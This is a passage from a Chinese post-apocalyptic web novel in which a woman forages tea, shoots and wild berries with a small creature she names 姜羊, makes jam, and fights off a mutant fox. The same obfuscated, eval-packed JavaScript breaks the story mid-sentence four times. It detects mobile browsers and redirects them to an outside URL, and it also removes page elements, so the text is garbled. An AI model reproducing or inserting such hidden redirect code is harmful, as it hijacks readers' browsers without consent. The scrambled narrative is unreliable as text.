之前没特意去找,现在一找我才发现山上的野茶树比我想的要多,一棵茶树就能摘两三把茶叶,下午我也没走多远,就装满了一个小布袋。我有点喜欢上这种摘茶叶的感觉,一直摘到快天黑了才下山,摘满了三个小布袋。一连摘了三天野茶我才停下来,把摘来的茶叶全都铺开在堂屋里晾了。 摘茶的时候,发现那种细根的水竹笋也长了出来,所以除了摘茶以外,我又在身上挂了个蛇皮口袋用来装笋。那些抽出来半人高的笋就不用拔了,拔那种最高长到膝盖的,绿壳子灰壳子都有,走在山脚下的树丛里,往那芒刺堆里瞧,轻易就能找到十几根。小怪物原本跟着我也是左拽拽右挖挖,发现我拔竹笋后,它就开始专心的寻找竹笋,整个身子钻进我进不去的树丛里,不一会儿抱着几根竹笋屁颠颠的过来,扒着我的蛇皮口袋把怀里抱着的笋放进来。 茶摘得差不多,笋的收获也不小。把茶晾干的时间里,我就坐在门口剥笋。这种小水竹笋剥起来就没有大的春笋好剥了,不过还是有一种稍微偷懒点的办法。将水竹笋顶头上揉搓分成两股,分别用两根手指往下卷,很快就能剥出来一根干干净净的竹笋。小怪物也想学,可惜它的爪子上只有三根爪子,根本学不会,只能抱着竹笋傻看着我唰唰唰的剥笋。 我瞧它一眼,拿过它爪子里抓着的那根笋,用笨办法一层层的剥开笋衣,然后用剥下来的笋衣给它做了个微型小伞,就是那种很简单的折上两折再一合拢,撕开笋皮撑着,是个非常简陋的小伞。小怪物扒在我的膝盖上看我做小伞,眼睛瞪得非常大,鼻子都快戳到我手上来了。 我做好了这么个小玩意,随手递给它,继续去剥笋,它拿着笋衣做的小伞靠在我脚边玩起来。过一会儿,它咩了一声,拽着我的裤子让我看,那把小伞散开了。本来就是随便做的,笋衣也很脆弱,非常容易坏。小怪物焦急的举着坏掉的小伞给我看,好像想让我修。修是修不好了,只能给它另做一个。我一口气做了二十个全都扔到一边,“玩去吧。” 小怪物玩了一下午小伞,晚上还想把小伞带上床,被我拒绝了。 晚饭是新拔的笋,新鲜的水竹笋比之前的春笋更嫩,炒一炒吃起来就是满嘴的脆爽山味。没吃完的笋和之前的一样全都切了晒干做笋干留着以后吃。 茶叶在堂屋晾的软软的,能进行下一步工作了。一般来说茶叶是要炒制的,但是步骤很麻烦,我也不会。不过还有一种办法,李姨跟我讲过的土办法,就是把茶叶晾到软绵,然后放在盆里揉搓,最后用油纸袋裹起来阴干个两三天,最后晒干,隔上半个月,就能泡茶喝了。具体的步骤记不太清,但好像是这样。据说炒制的茶叶能做绿茶,像这种不炒的,做出来是红茶。 等我做好的茶叶能喝了,我早上起来咬完柳枝,就是泡上一大杯浓茶,坐在墙根子底下喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726913|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶。虽然做出来的茶叶看上去不太好看,但是泡出来的茶味道还过得去,至少茶香很浓。茶汤还真的不是那种从前见过的碧绿,而是偏红的颜色。 说起来也奇怪,小怪物不喜欢吃茶叶,对于泡出来的茶它却很喜欢,我开始喝茶没给它喝,后来它自己有一天口渴找水喝,喝了我放在那剩下的凉茶,就开始也要喝茶。本来我平时下田进山里都会随身带水,但现在都改成带茶水了,小怪物也是一样,从它走路越来越稳当开始,就像我一样也有了个随身包包,我给它的包包里面会放上茶水和面饼。 除了啃草和菜,小怪物也是会喝粥吃饼的,总之只要食物里面没荤腥它就能吃,相反,只要沾一点油腥,就算是和竹鸡一起煮的笋它吃了都会吐。虽然吐一吐对它好像也没什么影响,但确定这一点之后我就再也没给它吃过任何油腥,只有不时煮点野菜粥,烙饼的时候也给它做一点。 小怪物没出现的时候,我好像没现在这么忙,我一个人除了把田里的事情做好,就不会随便出门,待在房间里发呆都能过一下午。可是现在有了小怪物,它不爱一直待在房间里,喜欢待在外面晒太阳,还有它那个不停吃吃吃也不见涨大的肚子,我不得不经常出门带着它在田里山上到处跑,让它找更多吃的。 等我习惯这种生活后,我忽然发现自己和以前有点不一样了。 不知道什么时候,我那个狭窄黑暗的房间再也不能困住我,我也不再时刻想着待在那里面。这个我住了两年也没有多少熟悉感的村子,好像一下子熟悉了很多,出门走在外面的时候,我想的更多的是小怪物又跑到哪啃野花野草了,而不是警惕周围哪里出现危险。 我一时觉得这样很好,一时又觉得这样很不好。 小怪物走路越来越稳后,又会跑了,但这代表着我带它出门有时候会找不到它的踪迹。我在田里浇水,浇完后发现原本坐在田边上喝水的小怪物不见了,找了附近的两块田都没找到。我想喊它,才忽然发觉我和它平时用语言交流的很少,我在心里叫它小怪物,但它到现在还没有一个能被人喊出来的名字。 也许我该给它起个名字? 我有点抗拒这个想法。 给一个什么东西起名字,对我来说就是有了一个责任,我连自己都负责不了,怎么去负责另一个生命? 但是当小怪物从田埂底下钻出来,跑到我面前咩咩叫着递给我一大捧野花后,我看着它充满快乐的脸,忽然又不那么坚定了。 “以后,你叫羊吧?”我这样对小怪物说。 这是名字,那姓……我蒙了一下,竟然忽然想不起来自己的名字,因为太久没用过了。我离群索居远离其他人,没人和我建立需要互通姓名的联系,时间久了,差点连自己的名字都忘记了。 “我叫姜苓,你叫……姜羊。” 12. 012 天气一下子热了起来,虽然还没到立夏,但是已经隐约有了夏天的影子。下午和晚上,田边地里草丛里的虫鸣蛙声越来越吵闹,中午的太阳也开始变得晒人起来。 我习惯早起,早上天刚亮,我就准备好东西,带着辣椒苗和小怪物去田里,想把辣椒苗种起来。要种辣椒的地方距离我之前种红薯的地方不远,就隔了一小块田而已。从家里走到田边这一路上,路旁之前开着许多白花,我是看着这些白花开又谢,最后长出果子的,前两天还没成熟,但是今天再往这边经过,我发现绿色的叶子里多出了很多拇指大的红色果实。 这就是我之前说的地莓。地莓的生命力很顽强,繁衍的也非常快,不管是田坎边上还是小水沟边,一大片一大片都长的是,之前开花的时候随便一望,到处都是这种白花。现在地莓开始成熟,往之前那些开白花的地方去找,只要走近一点都能看到一个个鲜红的果子。相当一部分绿色的还没成熟,黄色的也还没熟透,只有红色的可以吃。 成熟的地莓稍稍一捏就会离开托着果子的茎,地莓里面是空心的,外表和草莓类似。有些个头小点的不那么甜,而有些个头大的能有一元硬币那么大,这种放进嘴里不用嚼,轻轻一抿,香甜的汁水就溢出来。 我吃了一个,随手把摘的另一个塞进了身后的小怪物嘴里。看到我的手伸过去似乎要喂食,小怪物就下意识的张大了嘴,一个地莓到了嘴里,它嚼了两下,立刻就发出一声惊叹的嗷呜声,应该是很喜欢这种味道。走在路边它再看到地莓,就会伸爪子去摘,然后放进自己衣服前面的一个兜兜里。我找到的小孩衣服只有这一件前面有个大开口的兜兜,小怪物最喜欢这一件,因为它偶尔在路边找到什么感兴趣的玩意都会放进胸前的兜兜里。 这会儿也是,它看到一丛地莓就停下来,蹲下去把面前的小果果全都摘下来,塞进兜兜里,但是它显然没有经验,连那些青的黄的都摘下来了。 我看到它的动作,放下手里提着的竹篮和锄头,蹲在一丛地莓旁边,从小怪物兜里捏出一个青色的地莓塞进它嘴里。 小怪物的鼻子皱了起来,唔嗯的喊了一声。 我又给它塞了个黄色的,它的脸没刚才那么皱了,但还是吐了吐舌头。最后我拣出一个红色的塞进它嘴里,这回小怪物就开心的摆着尾巴。 我觉得它大概明白哪种好吃了,于是拉着它衣服前面的那个大兜兜,把里面仅有的几颗红色全都找出来,塞进了自己嘴里,再一转头提着篮子和锄头继续往前走。 走出去几步,发现后面小怪物没跟上来,扭头看了一眼,小怪物傻站在原地,爪子拉着自己的兜兜口子,傻眼的看着里面剩下的那些难吃的青黄果子,又看看我。 那样子傻到冒泡。 “快点走了。”我对它说。 小怪物就吧嗒吧嗒的跑了过来,跟在我身后,一只爪子牵着我的裤子。我往前走的时候,注意到它在吃兜里那些没成熟的果子,被酸的眉毛都变成了倒八字。 我忍不住笑了一下。 到田里种辣椒苗的时候,想到小怪物刚才那表情,我还忍不住笑。大人都是世界上最坏的家伙,当爸妈的尤其是这样,当年我小时候,爸妈买了地莓回家,我才吃了两个,就看到他们两笑眯眯的抓着一大把地莓作势往嘴里塞,然后把手往背后一藏,三两下碗里的地莓就没了。我当时还小,以为真的被他们吃完了,懵逼了一会儿后就捂着眼睛哇的一声哭了出来。 看到我哭出来,爸妈才对视大笑,把藏在身后的地莓再拿出来都放到我面前,哄我说‘刚才骗你呢,没吃没吃,都在这里啊。’‘爸妈跟你开玩笑呢,再哭我们就真吃掉了不给你留了。’ 我眼泪都没干,一听这话,连忙眼睛红红的抬手把装地莓的碗捞到自己怀里,瘪着嘴对他们两个说:“你们坏,不喜欢你们!” 他们一听,又坏心的哈哈笑起来,一点都不明白自己的行为对小孩子造成了多大的伤害。我隐约有点能体会到那时候他们的心情了。 蹲在田边拨开之前松好的土,把辣椒苗一颗颗种下去,再去一边挑水浇苗。汗水打湿了我的后背,脸颊上也全都是汗,在脸颊上留下一道道淡淡的痕迹。 浇了大半块田的水,我听到小怪物的脚步声在靠近。它的脚步声很特别,和我不一样,也许是因为爪子的原因,它走起路来要比我重一些。我蹲在那浇水,动作没有停,小怪物走到身边,伸出爪子勾了勾我的膝盖。 我扭头看它,它立马拉起自己胸前的兜兜给我看。里面全都是红红的地莓。 平时我做事的时候它就在周围跑,刚才发现地莓好吃,大概就跑到附近找地莓去了。我瞄了一眼那些地莓,嗯了一声,转过头继续浇水。 它又用爪子勾我,嘴里还不停的咩咩叫。我瞧了它一会儿,在水桶里洗了洗自己手上的土,然后伸手在它的兜兜里拈出来一个地莓。它看到我的动作立刻就高兴起来,我以为它是想要我投喂,所以把地莓凑到它嘴边。 可是小怪物不肯张嘴,还鼓着脸摇头,拉着兜兜又往我跟前凑。我有点明白它的意思,收回手把地莓往自己嘴里塞。小怪物见到我自己吃了,才真的高兴起来,咩咩叫着献宝,大有把兜兜里的地莓全都给我的架势。 我沉默了一下,摸了摸它脑袋上细软的头发,“你自己吃吧。” “咩咩~”它看我不动了,自己一只爪子抓着兜兜口子,一只爪子往里掏地莓,然后学着我之前的样子凑到我嘴边。 小怪物的爪子其实不太适合摘地莓,不少地莓都被它抓烂了,糊在爪子上的样子有点糟糕。但看着它绿色的大眼睛,我还是低头吃掉了它爪子上那些卖相不好的地莓,兜兜里剩下的那些我就不肯吃了,可是我让小怪物自己吃它也不吃,带着半兜兜地莓又啪嗒啪嗒跑开。 等我种完辣椒,给之前种下的红薯也浇过水,带着东西回去,小怪物又带着满满一口袋的红地莓走到我身边,一路走一路向我展示它的兜兜。 等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726914|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回了家,它趴在小椅子上把兜兜里的地莓全都掏出来,然后推着小椅子来到我面前。我正在灶前烧火,看到小怪物拖着尾巴推着椅子过来,有点不知道该说什么。 好像因为我之前从它兜兜里把红色的地莓都拣出来吃掉了,它现在觉得我很喜欢吃这东西,一路都想给我吃,自己一颗都不动。 “你自己吃,我不吃了。”我再次对它说,但小怪物趴在椅子上甩尾巴,就是没有自己吃的意思。 我从厨里拿出两个碗,一个是我平时吃饭的小汤盆,一个是铝制的大碗,铝制的大碗是小怪物吃饭用的。我把椅子上那堆地莓分成两半,一个碗里放一半,然后把小怪物那个铝制的大碗塞进它怀里,自己的碗放在一边。 “一人一半。” 小怪物抱着自己的碗跑到另一张椅子上最好,盯着我吃了地莓,才晃荡着两只脚爪子开始吃自己碗里的地莓。 我一边吃一边想,小怪物不太像我,我小时候可小气了。 地莓一波波成熟的时候,金银花也开了。金银花之所以叫金银花,因为它的花有黄白两种颜色,经常是长在一根藤上的。 金银花和地莓一样繁衍的极快,很快就开的到处都是,大丛的绿色藤蔓就攀爬在刺丛上,带着无数香味浓烈的黄白小花,将那些刺丛打扮的张灯结彩。田边那一条小溪边上大串大串的,在附近田里除草的时候都能闻到浓郁的金银花香味。就连家里后面那片草丛里也长满了金银花,晚上只要开着窗睡觉,鼻间都是那种香味。 我从田里回去的时候,用柴刀把那些金银花连藤蔓一起割了下来,带着一大篮子的金银花藤回去。这些金银花藤就算被割下来,只要没被破坏根,明年这里还是会长起大片的金银花,生命力非常顽强。 白色和黄色的金银花柔软可爱,香味好闻,摘下来晒干,用来泡茶可以清热解毒。我爸从前常去药店里买那种干金银花,用来泡茶,夏天时候经常喝,他这个习惯持续了很久,从我有记忆开始,到我对他的记忆中止。 说起来很奇怪,在这之前,很多事我都忘记了,特别是关于父母的记忆,我印象最深刻的都是末世后那几年发生的事,末世前那些安稳的日子被我忘光了——我一度以为自己真的忘光了,甚至连父母的长相都记不太清晰,我刻意回避着不去让自己想起那些。 可我现在,在生下小怪物之后,在和它相处的这短暂时间里,不断的想起了从前被我遗忘的那些事。我没有刻意去回想,也没有像从前那么抵触,所以这些记忆就经常在不经意的时候,因为一个似曾相识的瞬间,忽然被触动的出现在我的脑海里。 我以为我忘记了,可是有些事其实是不会忘记的,不管是痛苦的还是快乐的,他们都是我无法抛弃的东西。 “唔呀!”学着我一起摘金银花的小怪物发现自己的爪子上,爬着一条青色的毛毛虫,稀奇的递给我看。 “咩咩~” 我有种错觉,我觉得它在叫我,它在叫妈妈。 13. 013 现在这个时节的雨,大多下在晚上,等人睡觉了,耳边听到的就都是沙沙沙,滴答滴答的声音。那是细密的雨丝打在叶子上和瓦檐上的声音。这样下一夜雨,等到早上起来,天又晴了,只是天上还是阴阴的,叠了不少的乌云,看着没有前些天那种大太阳来的清朗。 被踩出一道黄土痕迹的土路边上,翠绿的叶子都带着湿润水汽,丰沛的雨水来不及被植物们完全吸收,就顺着地势在路旁边的草丛里汇成一条小沟,汇向大片荒废农田远处的那条河。 路边荒废屋子前有一株梧桐树,树下落满了白中带点紫的桐花,去年结的桐子乌黑的壳还挂在树上,被枝桠上冒出来的新叶陪衬的透出一股腐败来。 小怪物在树下捡了几个黑黑的桐子壳,见到里面钻出来黑壳子的小虫,就咧开嘴咔咔笑。 小怪物喜欢花,喜欢各种嫩草,喜欢有香味的植物,喜欢果子,还喜欢那些小虫子,经常看到什么奇怪的虫子就要捧来给我看一看。要不是我早期看多了那些丧尸,对虫子的接受度一下子也高了起来,现在也不会每天对着小怪物送到面前的各种虫子无动于衷。 还好小怪物虽然喜欢虫子,但是并不养,一般拿在手上看一会儿就放走了。 路边的枇杷也长到鹌鹑蛋那么大,挂在枇杷叶底下,一簇簇的小绿果子。在各种家常水果中,枇杷大概是一年之中最早吃到的水果之一,比桃子枣子都要早。我不知道为什么,格外喜欢枇杷里面那两颗滑溜溜的核,从前每年吃了枇杷,就把核全都收集起来放进罐子里。不过这个习惯也早就没了,毕竟后来也没什么机会吃到枇杷。 这一树枇杷我去年也吃了,金黄色的枇杷肉特别甜,可惜我发现的比较晚,大部分成熟的枇杷都被鸟糟蹋掉了,还有熟透了的枇杷落了一地,看着非常可惜。 ——所有出现在我面前的食物如果被浪费了,我都会觉得心里抓的厉害,这是被饿狠了留下的后遗症。所以今年我时不时就到村子各处长了果树的地方去看一看,看看这些果树结果的情况。 附近一家院子里种的好几棵橘子树,也冒出了不少白色的小花苞,米粒大小的白色缀在绿绿的叶子上,和珍珠似得。等过段时间开花了,味道就会非常香,我喜欢橘子花的香味。 这边一条经常走的路边上,那些地莓都已经被摘的差不多,但是另外几条路上的地莓都没人动,这会儿正是地莓成熟最密集的时候,再过上一段时间,就会慢慢没有了。 虽然我和小怪物两个人每天都会摘不少的地莓回去吃,特别是小怪物它一个人安安静静坐在那能吃一大盆,但就是这样,依然有不少的地莓没来得及采摘就熟透掉落,最后被虫子吃掉或者腐烂在地上。 我在这里的两年,发觉经过那场饥荒后,现在的各种动物植物几乎是在以一种飞速反弹的感觉蓬勃生长着,好像要把之前的荒芜都加倍补回来,呈现出一种从前绝没有过的生机勃勃。 就拿地莓来说,去年虽然也有不少,但怎么也比不上今年的情况。这是一个令人高兴的好现象,只要一直保持这样下去,我就不担心会被饿死。 去年我摘了一些地莓做酱,今年也准备做,还准备多做一点。毕竟一个人吃和两个人吃的量还是不一样的。我自己这段时间天天吃,再好吃都吃腻了,但是小怪物显然还没有,它对好吃的东西都抱着极大的热情。 挑了个晴天,我带着小怪物沿着没去过的一片田边上开始摘地莓,我往左边摘,它往右边摘。我提的是一个装水的皮桶,乡下人家很多人家里都有好几个这样的桶,桶提起来本身就有点重,看上去也不起眼,丑丑的墨绿色和深红色,但是质量非常好,桶壁很厚,之前几年没人用过,再拿出来用还是好好的,不像一些花花绿绿的桶,几年下来都变成那种一扳就碎的东西。 小怪物手里提的是竹篮子,比我这个桶要小很多。我的动作比小怪物快,它蹲在那慢吞吞的一个个摘,只有三根手指的小爪子不怎么便利,而我弯着腰一下子就摘完好大一片,我只挑那些成熟的快要掉下来的红地莓,但小怪物就比较实心眼,所有的红色它一颗都不会漏摘,还会把叶子拨起来找有没有漏网之鱼。 所以小怪物摘过的地方就剩下一片青绿色,不像我这边还留了不少红色。我也不管它怎么摘,自己摘完这一片,转身就去下一片地方。一天下来,我们的收获非常多,我摘了两桶,小怪物也摘了两篮子。 稍稍在水里过一遍再晾干,我把地莓全都倒进擦干的大锅里,用一个大木勺子捣烂。本来就是快要熟透的果子,很多用勺子轻轻一压就溅出红色的汁水,一个个鲜红饱满的地莓在我手下被压成糊状,混合着的红色糊糊看上去没有之前那么好看,但气味仍旧非常好闻,香香甜甜的气味在整个厨房里飘荡。 把大锅里的地莓全部压碎,我开始烧火,只用了小火慢慢熬。这种烧柴的大铁锅受热均匀,不容易把东西烧糊,我用的小火慢慢煮,一边煮一边抓着大勺子用力搅拌。红色的汁水出来的越来越多,随着大锅里温度的升高开始冒出咕嘟咕嘟的泡泡,同时一种特殊的香味开始代替之前那种植物果实的香味。 甜蜜的,让人忍不住口中生津的气息。 我做这些的时候,小怪物站在小凳子上趴在灶台边,乖乖的用胳膊垫在脑袋底下,歪着头看我的动作,看看我,又把眼睛转到锅里。它的眼睛里亮晶晶的,白色的尾巴欢快的在身后甩来甩去,轻轻拍打在裤子上。 任由锅里的地莓糊煮着,我从碗橱上层拿出来一个铁盒子,里面有像是白色透明大理石一样的东西。这是老糖块,我很小很小的时候,外婆来我家看我,就带过这种糖。这糖像石头一样硬,但是能吃很久,吃起来要用锤头来敲下碎糖块。我家那块,我隐约记得是因为太久没吃完,我妈觉得放久了不太好,就给扔了。 扔在垃圾桶里,很快引来一串蚂蚁,几岁的我蹲在旁边看了一下午的蚂蚁搬糖。那么大个糖块,它们也只搬走了一点点而已。 我手下的动作很利落,拿着布包裹住糖块,找锤头对着凸出的一个角用力敲,啪的一下敲下来一块。 把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726915|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩下的放回盒子里放好,敲下来的那两小块继续敲碎些。我坐在这边敲得笃笃响,小怪物从小凳子上嘿呦一下跳下来,搬着小凳子来到我面前,坐着一个小角托腮看我手里的布包。 我放下锤子,打开布,里面的白色糖块已经很碎了,还有不少变成了石灰一样的白色糖灰。我在一堆碎糖里面翻了翻,找出一颗比较大的碎糖块放进嘴里。 甜味一下子弥漫了整个口腔。我又拣出一块随手塞进小怪物嘴里,然后提着布块抖抖,把糖灰集中到一起,拿着走到锅边,把白色的碎糖全部倒进去。 白色的糖灰随着搅拌融进红色的地莓糊里,更加激发出来那种甜香。我觉得有点腻,盖上锅盖去一边洗瓶子。 准备用来装地莓酱的瓶子是梨罐头的瓶子,半透明泛着青色,盖子上还有点生锈的痕迹,印着黄皮大梨的图案,圆肚子瓶身上原本贴着的包装纸被我撕了。 末世后的我有了一些习惯,像是随时随地看到可能用得上的东西就会想收集起来,像个收破烂的,反正我看到什么觉得或许用得上,就全都往家里拉,所以现在这个房子里堆满了不少的杂物。像是这几十个玻璃瓶,就是在旁边小镇子路上一个小卖铺里拿回来的,里面没拆开的罐头当然已经不能吃,全都发黑了,但是我把这些玻璃瓶子带了回来。 之前没找到用处,现在倒是刚好用来装地莓酱。 二十几瓶地莓酱被装进干净的玻璃瓶里,摆在厨房碗橱里面。这碗橱是用木头做的,看上去用了不小的年头了,但做这个的木匠手艺好,用的材料也耐用,现在看来还是很牢固。上层用来放没吃完的菜,下头放干净的碗盆筷子。上层糊着细细的一层铁丝和纱,下层是木头门,外面用一个木栓子卡住拉手。 这个拉手不太牢固,之前那只变异老鼠就打开过我的橱柜门,所以我后来就换了一把大锁拴住门。 我洗锅,小怪物就趴在橱柜面前看,橱柜门被它又开又关了十几次。洗完锅,我从它背后伸出手,越过小怪物拿出了一瓶地莓酱打开,用勺子挖出一勺递给它。 我只想给它吃两口尝尝味道,但是它把一瓶都吃完了。 这么甜,小怪物都不觉得腻吗?看看手里的空瓶和趴在我膝盖上一脸满足的小怪物,我觉得地莓酱好像做少了点。这些,够它一个月吃的吗?最后,我还是又做了两锅,这次几乎大部分我们能找到的地莓都摘回来了,一点没浪费。 地莓的季节完全过去,路旁的小水沟水流平缓,也不显得湍急了,只有天热蹲在那捧起水洗脸的时候,才能感受到一丝剩余的凉意。一直不断的雨水慢慢减少,天气热的能穿一件短袖了。 出村那条路上的变异槐树长出了花苞,白色的槐米挨挨挤挤,铺在绿色的茂密槐树树冠上,落了雪似得。 这棵变异槐树和普通的槐树不一样,它的花开的很多,花期又长,比一般的槐树要长很多,从现在这个月份,一直开到九、十月的样子,整整半年的花期。 等到它开花的时候,会引来不少的动物聚在树上。 14. 014 去竹林里砍了一棵新竹,粗细刚刚好,削掉上面的竹枝杈丫,在最顶端绑上一把镰刀,做成一支钩子。 我扛着竹竿走在前面,小怪物提着空篮子走在我身后,几分钟之后,我们就来到那棵变异槐树下。这树槐花是白色,白中泛了一点点嫩嫩的翠,好看,好闻,大概也挺好吃。 我去年没动过这树槐花,一来那时候还在修整期,二来对这东西也不怎么感兴趣。但今年有一个不知道为什么喜欢吃各种花的小怪物,放着这么大一树槐花不管,好像就有点浪费了。特别是小怪物这几天每次往这边路过,看着树上的槐花就流口水。 它流口水归流口水,也不要求我去摘,就一副直勾勾盯着看,看过就算了的样子。 末世前去商场,总能见到那些带着孩子的父母,孩子哭闹着想要什么,在地上撒泼打滚,父母多半是虎着脸不肯买的。但是那些懂事的孩子,再想要什么也不说,又不会掩饰,就直勾勾盯着看,可怜的不行,父母看着这个样子,反而心软。 我的状态大概就是后面这种。 不知道什么时候,我代入父母的角色是越来越自然了,因为小怪物实在是个听话又懂事的孩子,但凡我心软了一次,接下来的无数次,好像都变得理所当然。只是我心里始终还有那么一点不知道从什么地方来的顾虑和抗拒。 把顶端那钩子往簇拥的槐花堆里一伸,勾住那绿色的茎往下一拉,一串还未开的槐花就沙拉从树枝上跌落下来,砸在树底下那堆落叶里。 这棵变异槐树枝叶茂密,树冠笼罩的地方比旁边都要暗上两分,一站到树冠底下,在阳光里被晒出的两分热意霎时间就消失的干干净净,被不知哪里来的风一吹,背后的凉意层层叠叠就爬上了后脑勺。 树底下的落叶松软潮湿,除了菇类就只长着些小小的槐树苗,不到一尺高,很快就会因为晒不到太阳而死去,所以槐树底下显得空荡荡的。看上去很平静,但我知道树上藏着一些小东西。 我不往树底下走,也不许小怪物往里面走,就在边缘上徘徊,割那些长在外围树冠上的槐花。我割下来,小怪物就拖着大竹篮子去捡。看到一串串槐花掉下来沾了落叶,它还用爪子捏着茎抖一抖,再放进篮子里。 这树槐花肥厚香软,我一气勾下来几十串,装满了竹篮子。回去的路上,小怪物就捏着一串槐花,一朵朵的摘下上面的槐花放进嘴里吃,像吃葡萄一样。我也吃了两口,然后就不动了,我不太喜欢生吃的这个味道,煮过后会好一点。 中午吃的多加了一道蒸槐花。 洗净晾干的槐花均匀的拌上面粉,放进蒸笼里蒸,口感绵软,有一些甜丝丝的。我不喜欢甜菜里面放咸味,所以什么酱料都没放,最后加了点糖粉。 槐花的吃法应该还有不少,但是我不会做,而且材料也没那么多,我就每天勾一篮子回来,有时候想吃就用最简单的方法蒸槐花,不想吃的话,那一篮子就让小怪物生吃了。好在小怪物跟我一样不怎么挑食,我怎么吃它就怎么吃,有的吃它就能每天都开开心心的。 那一树槐花从最开始没开放的花骨朵,变成了一串串开放的花,周围出现的各种痕迹也增多了。那是松鼠老鼠,变异的流浪猫,和一些野鸟弄出来的痕迹。它们这个季节,喜欢聚在这棵树上,整个夏天,这棵变异槐树上都会有不少的动物停驻。 我估摸着再过两天,这边树上藏的动物就越来越多了,准备今天割多一点回去,之后都暂时不往这边来。 我常去的那一边已经没有多少槐花,只能换了一边。我去旁边勾槐花的时候,小怪物还在之前的地方蹲着捡地上的槐花。我勾了几串,见小怪物还没过来,扭头准备叫它,却看到一道黑影猛的从附近树枝上扑了下来,朝着小怪物兜头罩去。 我反应极快,手中的竹竿迅速挥了过去。那东西在半空中听到我竹竿挥过去的裂响,下意识改变的方向,落向另一个地方。我大喊了一声:“姜羊!”然后往它那边跑过去。 那道黑影是只灰黄色夹杂黑灰色皮毛的狐狸,身子很长,几乎像狼一样大,爪子上的倒钩非常明显,獠牙也凸了出来。 这是只变异狐狸。我之前没在这附近见过这只变异狐狸,应该是往另一边山上过来的,这东西显然比变异老鼠难对付得多。我双手握着竹竿,把小怪物挡在身后。 小怪物好像这时候才反应过来发生了什么,扔下篮子躲在我身后。它从出生起就没遇到危险,这还是第一次遇到主动攻击的动物。 那只变异狐狸明显是冲着小怪物来的,自然界中的狩猎者,大多都会看准自己更容易抓到的动物,带着孩子的雌性最容易成为目标。人和其他的动物也没什么不一样,甚至更加的脆弱,末世之后,许多变异动物都将人看做食物,死在变异动物口中的人并不少,我早已经习惯。 变异狐狸绕着我走,前爪试探着往前,显然不想放弃我身后的小怪物。这很糟糕,因为这代表着我必须让它受伤,它才会知难而退。 我最近因为安逸的环境,变得太放松,出门都没带柴刀,现在只有手中这个竹竿,竹竿上绑着的小镰刀是用来割稻谷的。一点都不锋利,还非常薄,割槐花差不多,要伤这种以狡猾著称的狐狸比较困难。而且这竹竿很长,我拿在手里其实非常不方便。 我的眼睛紧紧盯着那只杂毛狐狸,突然间它动了,径直朝竹竿底下跑了过来,我反手把竹竿往下一打,它却早有预料似得轻巧一跳跳到了竹竿上,飞快的接近了我的脸。 一旦被接近,手中的竹竿就没什么用了,我唰的扔下竹竿,整个身子往下一顿躲过狐狸的爪子,抬手摸到刚才小怪物扔在脚边的篮子,挥手就往杂毛狐狸身上打。 我感觉自己打到了那狐狸的前爪,然而竹篮也被那狐狸锋利的脚爪给勾破了。我本来也没想用竹篮能打到它,只不过是争取时间而已。 一把拖起蹲在身后的小怪物,我将它往路边一推,手中迅速扯过竹竿一横,将梢头的小镰刀拿在了手上。 那狐狸舔了舔自己的爪子,棕黄色的眼睛灵活的转动。突然间,它又动了,这回目标却不是更远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726916|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小怪物,而是我。 …… 杂毛狐狸被我割伤了前爪,飞快跳上树消失不见了,而我肩上连着手臂,都被那狐狸锋利的爪子勾伤,出现了几道深深的痕迹,鲜血一下子就冒出来,染红了我肩上的衣服。 小怪物刚才被我一推,推的翻滚进了路边的草丛,这会儿脑袋上沾满了草灰跌跌撞撞的朝我跑过来,我喝道:“别动!”然后警惕的看一眼狐狸消失的地方,握紧了染血的镰刀走向小怪物。 我脸上还带着刚才狐狸的血,看上去大概有点狰狞,小怪物僵硬的缩着爪子站在那怔怔的看着我,我推了推它,带着它绕路回家。 